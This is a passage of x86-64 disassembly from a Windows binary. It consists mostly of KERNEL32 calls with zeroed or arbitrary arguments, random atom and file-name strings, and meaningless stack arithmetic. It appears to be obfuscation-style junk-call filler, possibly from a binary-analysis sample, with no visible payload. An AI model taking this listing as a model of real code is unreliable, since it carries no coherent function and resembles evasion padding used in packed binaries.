call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb7c0], rax
mov rax, qword [rsp + 0xb4a8]
movzx eax, byte [rax]
mov byte [rsp + 0x2fb], al
mov dword [rsp + 0x23160], 0x11c
mov rax, qword [rsp + 0xa850]
mov ecx, dword [rsp + 0x41f0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb170]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x9fe8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx ecx, word [rsp + 0x11b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1678], ax
lea rcx, [rsp + 0x1af78]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rax, qword [rsp + 0xb430]
mov rcx, qword [rsp + 0x8770]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb8e0]
mov qword [rcx], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
movsx eax, word [rsp + 0x1558]
movsx ecx, word [rsp + 0x10b8]
sub eax, ecx
mov word [rsp + 0x8fc], ax
movzx ecx, word [rsp + 0x10d0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x13fc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc200], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov eax, dword [rsp + 0x3f74]
mov ecx, dword [rsp + 0x4c18]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaae8]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0xbbe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x864]
sub eax, ecx
mov rcx, qword [0x14024f158]
mov word [rcx], ax
mov rcx, qword [rsp + 0xb748]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x14c]
mov byte [rsp + 0x2fc], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc208], rax
movzx eax, word [rsp + 0x6ec]
mov rcx, qword [rsp + 0xa628]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x13e4], ax
movzx ecx, word [rsp + 0x120c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xfe0], ax
lea rax, [rsp + 0x4590]
mov qword [rsp + 0xc210], rax
mov edx, 0x302
mov rcx, qword [rsp + 0x9728]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4d48], eax
lea rcx, [rsp + 0xc218]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
lea rcx, str.2Sa5waqwI_BVsTs
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1484], ax
lea rcx, [rsp + 0x9c60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movsx eax, byte [rsp + 0x189]
movsx ecx, byte [rsp + 0x2c0]
imul eax, ecx
mov rcx, qword [rsp + 0xb618]
mov byte [rcx], al
movsx eax, word [rsp + 0x1118]
movsx ecx, word [rsp + 0xb4c]
sar eax, cl
mov word [rsp + 0x8c4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.KxnA0uAunR5R8KVyptHMR
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc220], rax
lea rcx, str.Eu2d7Qa_uxkf_UlhH_UX
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1514], ax
mov dword [rsp + 0x20], 0x34f7
mov r9d, 0x1cdb
mov r8d, 0x221
mov edx, 0x1e45
mov rcx, qword [rsp + 0xbc40]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4e24], eax
mov rcx, qword [rsp + 0x9678]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc228], rax
mov rcx, qword [rsp + 0x9f70]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x4df4]
mov qword [rsp + 0xc230], rax
mov qword [rsp + 0x20], 0
mov r9d, 0x38a8
mov r8d, 0x2682
mov edx, 0xf2
mov rcx, qword [rsp + 0xa3b8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x4bac], eax
lea rdx, [rsp + 0xa9f8]
mov rcx, qword [rsp + 0xa6d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x50bc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
mov rax, qword [rsp + 0x8f20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0a0]
movzx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x126c], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8f78], rax
mov rax, qword [0x14024f278]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbfd0]
mov qword [rsp + 0xc238], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc238]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x456c], eax
lea rax, [rsp + 0x2c7]
mov qword [0x14024efa8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x83f8]
mov rcx, qword [rsp + 0x9080]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9690]
mov qword [rcx], rax
lea rcx, [rsp + 0xb8c8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0xa0c0]
mov rcx, qword [0x14022fb60]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xc178], rax
lea rcx, str.TIW_9_hGPUb_OuNW
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x16a8], ax
mov rax, qword [rsp + 0xaa20]
mov rax, qword [rax]
mov qword [rsp + 0xc240], rax
lea rcx, [rsp + 0x1a6d8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0x9f98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4590]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4628], eax
mov edx, 0x936
mov rcx, qword [rsp + 0xb398]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4e00], eax
lea rax, [rsp + 0xaca8]
mov qword [rsp + 0xc248], rax
movsx eax, word [0x14024f3be]
movsx ecx, word [rsp + 0xe3c]
sub eax, ecx
mov word [rsp + 0x5b0], ax
lea rcx, [rsp + 0xc250]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rsp + 0x1aa08]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rcx, qword [rsp + 0xb880]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4a00], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8d48], rax
lea rcx, [rsp + 0xc258]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rcx, [rsp + 0x1ad68]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rdx, [rsp + 0xa9d8]
mov rcx, qword [rsp + 0xbbb0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4aac], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.xpQ4p99mb8iXWNcTr2iufc0G
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc260], rax
mov rax, qword [rsp + 0xb890]
mov ecx, dword [rsp + 0x4744]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4864], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb6c8], rax
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x20b20]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4978], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rcx, [rsp + 0x1a498]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea rax, [rsp + 0x261]
mov qword [rsp + 0xc268], rax
mov rcx, qword [rsp + 0x9e08]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0xc270]
mov rcx, qword [rsp + 0xa788]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bd4], eax
movzx ecx, word [rsp + 0x13c8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x15a8], ax
mov rax, qword [rsp + 0xb3a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x296]
add eax, ecx
mov rcx, qword [0x14024f240]
mov byte [rcx], al
lea rcx, [rsp + 0xa420]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r9d, r9d
lea r8, [rsp + 0xa918]
mov rdx, qword [rsp + 0x9928]
mov rcx, qword [rsp + 0xa2a8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4fb4], eax
movzx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0x96c0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1598], ax
mov rax, qword [0x14024f210]
movzx eax, word [rax]
mov word [rsp + 0x16ac], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x9b8
mov r9d, 0xc04
mov r8d, 0x7953b39e
mov edx, 1
mov rcx, qword [rsp + 0xbc18]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x50c0], eax
mov r9d, 1
lea r8, [rsp + 0xa110]
mov rdx, qword [rsp + 0x9ce8]
mov rcx, qword [rsp + 0xa1e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4ce4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessId]
lea rcx, [rsp + 0x1a9a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov eax, dword [rsp + 0x48e4]
mov ecx, dword [rsp + 0x4068]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ef8], eax
mov rcx, qword [rsp + 0xab70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x50c4], eax
mov rax, qword [rsp + 0xabe0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb2c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x280], al
mov qword [rsp + 0x20], 0
mov r9d, 0x851
mov r8d, 0x3d75
mov edx, 0xb7
mov rcx, qword [rsp + 0xa8b8]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x500c], eax
lea rax, [rsp + 0xef]
mov qword [rsp + 0xc278], rax
mov rax, qword [rsp + 0xae20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f10]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb068]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc0d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf48]
add eax, ecx
mov word [rsp + 0x87c], ax
mov rax, qword [rsp + 0x9690]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa000]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8660], rax
mov rax, qword [rsp + 0xa270]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa7d8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14022fb9a], al
mov eax, dword [rsp + 0x484c]
mov dword [rsp + 0x50c8], eax
lea rdx, [rsp + 0xc280]
mov rcx, qword [rsp + 0xa788]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4fc0], eax
mov dword [rsp + 0x20], 0x487
mov r9d, 0x9e7
mov r8d, 0x3e58
mov edx, 0x3c4b
mov rcx, qword [rsp + 0xb738]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4c90], eax
movzx ecx, word [rsp + 0x1058]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x15f4], ax
mov rax, qword [0x14024f3b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa628]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x12dc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc288], rax
mov rax, qword [rsp + 0x9e68]
movzx ecx, al
mov rax, qword [rsp + 0xac80]
shl rax, cl
mov qword [rsp + 0x89d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
lea rcx, str.AIz3n_Nn_FGAOF
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x165c], ax
mov rax, qword [rsp + 0x95b8]
mov rcx, qword [rsp + 0xb3b8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x80c0], rax
mov rax, qword [rsp + 0xc0d8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbab8]
movsx ecx, word [rcx]
cdq
idiv ecx
mov word [rsp + 0x1518], ax
mov rax, qword [rsp + 0xa6e8]
movzx eax, byte [rax]
mov byte [rsp + 0x2fd], al
movzx ecx, word [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x125c], ax
mov rax, qword [rsp + 0xa6f8]
mov eax, dword [rax]
mov ecx, dword [0x14022fb68]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4884], eax
movzx eax, word [rsp + 0x1450]
mov rcx, qword [rsp + 0xa628]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1164], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc290], rax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x20340]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4dec], eax
mov rcx, qword [rsp + 0xb0d8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc298], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov dword [rsp + 0x20], 0x20cf
mov r9d, 0x54a
mov r8d, 0x3811
mov edx, 0xc01
mov rcx, qword [rsp + 0x9cd8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4974], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExW]
lea rax, [rsp + 0x43a8]
mov qword [0x14024efa0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
movzx eax, byte [rsp + 0x282]
mov rcx, qword [rsp + 0xa898]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x215], al
mov r9d, 1
lea r8, [rsp + 0xa230]
mov rdx, qword [rsp + 0xad38]
mov rcx, qword [rsp + 0xbb80]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x46bc], eax
lea rcx, [rsp + 0xc2a0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov rax, qword [rsp + 0x9e58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa2b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9af0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
lea rax, [rsp + 0x7ce0]
mov qword [rsp + 0xc2a8], rax
mov edx, 0x1eb4
mov rcx, qword [rsp + 0xbe68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4a20], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc2b0], rax
mov eax, dword [rsp + 0x41a8]
mov ecx, dword [0x14024f1b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3dfc], eax
lea rdx, [rsp + 0xa230]
mov rcx, qword [rsp + 0xa4d8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x48f0], eax
mov rax, qword [rsp + 0x98d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x216]
and eax, ecx
mov rcx, qword [rsp + 0xb860]
mov byte [rcx], al
mov rax, qword [rsp + 0x9898]
movzx eax, word [rax]
mov word [rsp + 0x16b0], ax
mov rax, qword [rsp + 0xaea8]
mov ecx, dword [rsp + 0x4ab8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44f0], eax
movzx eax, word [rsp + 0x1390]
mov word [rsp + 0x16b4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa058]
movzx eax, byte [rax]
mov rcx, qword [0x14024f030]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14022fb83], al
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9950], rax
lea rcx, [rsp + 0x1aee8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0x9608]
mov rcx, qword [rsp + 0xb5b8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9578]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb8d0], rax
lea rdx, [rsp + 0xc2a0]
mov rcx, qword [rsp + 0xac00]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x50cc], eax
movzx ecx, word [rsp + 0x1158]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1140], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb328], rax
mov dword [rsp + 0x23280], 0x11c
mov rax, qword [rsp + 0xa198]
mov rcx, qword [rsp + 0xbba0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7c78], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
xor r8d, r8d
mov edx, 0x80
lea rcx, [rsp + 0x21300]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b24], eax
mov rax, qword [0x14024f270]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xabb0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1138], ax
mov rax, qword [rsp + 0xb780]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb648]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa838]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0xa6f0]
mov rcx, qword [rsp + 0xb838]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4f60], eax
mov rax, qword [rsp + 0x98b0]
movzx eax, word [rax]
mov word [rsp + 0x16b8], ax
lea rcx, str.7sDEvNwx9_C0JM5b
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x16bc], ax
lea rcx, [rsp + 0x1aa38]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb890]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9e28]
mov qword [rsp + 0xc2b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc2b8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4140], eax
mov rax, qword [rsp + 0xbda8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18b]
sar eax, cl
mov byte [rsp + 0x87], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x204e
mov r9d, 0x1a00
mov r8d, 0x6c269e31
mov edx, 1
mov rcx, qword [rsp + 0xaae0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4ec8], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa690], rax
mov rax, qword [rsp + 0xa540]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4948]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb0b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x99b0]
movzx eax, word [rax]
imul eax, eax, 0x218
mov word [0x14022fb84], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xb0d0]
mov ecx, dword [0x14024f068]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5024], eax
lea rax, [rsp + 0x2c7]
mov qword [rsp + 0xc2c0], rax
mov rax, qword [rsp + 0xa760]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7ed0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8680], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0xc158]
mov qword [rsp + 0xc2c8], rax
mov rcx, qword [rsp + 0xb448]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movsx eax, byte [rsp + 0x237]
movsx ecx, byte [rsp + 0x2c5]
sub eax, ecx
mov rcx, qword [rsp + 0xbda8]
mov byte [rcx], al
mov eax, dword [rsp + 0x496c]
mov ecx, dword [rsp + 0x4190]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a80], eax
mov r9d, 1
lea r8, [rsp + 0xa708]
mov rdx, qword [rsp + 0xc2d0]
mov rcx, qword [rsp + 0xb580]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4bd0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
lea rcx, str.X68R.InFdv
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x16a4], ax
mov rax, qword [rsp + 0xb688]
movzx eax, word [rax]
mov word [rsp + 0x16c0], ax
mov rcx, qword [rsp + 0x96b0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
movzx eax, byte [rsp + 0x2a6]
mov rcx, qword [rsp + 0x9a68]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2ed], al
lea rax, [rsp + 0x1390]
mov qword [0x14024ef98], rax
mov rax, qword [rsp + 0xbd10]
mov rcx, qword [rsp + 0xb140]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x89a8], rax
mov rax, qword [rsp + 0x9630]
mov ecx, dword [rsp + 0x4904]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb548]
mov dword [rcx], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc2d8], rax
mov rax, qword [rsp + 0xa760]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8ab0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7988], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xada0], rax
movzx eax, byte [rsp + 0x2a4]
mov byte [rsp + 0x2fe], al
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x20100]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4b10], eax
lea rcx, [rsp + 0x1afa8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov rax, qword [rsp + 0xa568]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb668]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba00]
mov byte [rcx], al
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
mov rax, qword [rsp + 0xae58]
mov rcx, qword [rsp + 0x9c00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x44f4], eax
mov rax, qword [rsp + 0x9518]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc3c]
cdq
idiv ecx
mov rcx, qword [rsp + 0x9870]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xbaf8], rax
mov eax, dword [rsp + 0x42e8]
mov dword [rsp + 0x50d0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xb378]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0xa918]
mov rcx, qword [rsp + 0xaf00]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e4c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0xabe8]
mov rcx, qword [rsp + 0x95c0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bc0], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x14bd
mov r9d, 0x1e43
mov r8d, 0x22c11368
mov edx, 1
mov rcx, qword [rsp + 0xa670]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x50d4], eax
mov r9d, 1
lea r8, [rsp + 0x9610]
mov rdx, qword [rsp + 0x9db0]
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4de8], eax
mov rax, qword [rsp + 0x9f60]
movzx eax, word [rax]
mov word [0x14024ef90], ax
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0xaec0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa498]
mov qword [rcx], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.MXTUWF7Z5wVK
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc2e0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
movzx ecx, word [rsp + 0x1340]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1168], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
mov rax, qword [rsp + 0xbe20]
mov rcx, qword [rsp + 0xad30]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa8f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb0c0]
